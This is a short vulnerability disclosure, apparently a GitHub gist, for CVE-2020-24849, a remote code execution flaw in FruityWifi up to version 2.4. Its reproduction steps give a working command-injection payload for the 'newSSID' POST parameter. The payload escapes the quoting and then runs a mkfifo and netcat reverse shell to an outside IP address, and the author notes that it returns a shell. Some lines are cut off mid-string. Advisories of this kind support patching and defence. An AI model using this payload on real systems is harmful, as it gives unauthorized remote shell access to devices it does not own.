Instantly share code, notes, and snippets.

harsh-bothra / **CVE-2020-24849**

Last active 2 years ago

☆ Star

Code Revisions 2

CVE-2020-24849 - FruityWifi Remote Code Execution

CVE-2020-24849

```
Product: FruityWifi

CVE: CVE-2020-24849

Version: (, 2.4) - Tested on version 2.4

Vulnerability: Remote Code Execution

Vulnerability Description: A remote code execution vulnerability is identified in FruityWifi through 2.4.Due to improperly escaped shell me

# Steps to Reproduce:

1. Login with credentials to the application.
2. Go to "https://vuln_ip/scripts/page_config_adv.php".
3. Intercept the request then change request method to POST.
4. Add "newSSID" parameter in POST body and insert payload (newSSID=A\"B'C";rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192

Note: In order to bypass, we need to satisfy the quotes then insert our payload. Send the request, you will be greeted with a shell.
```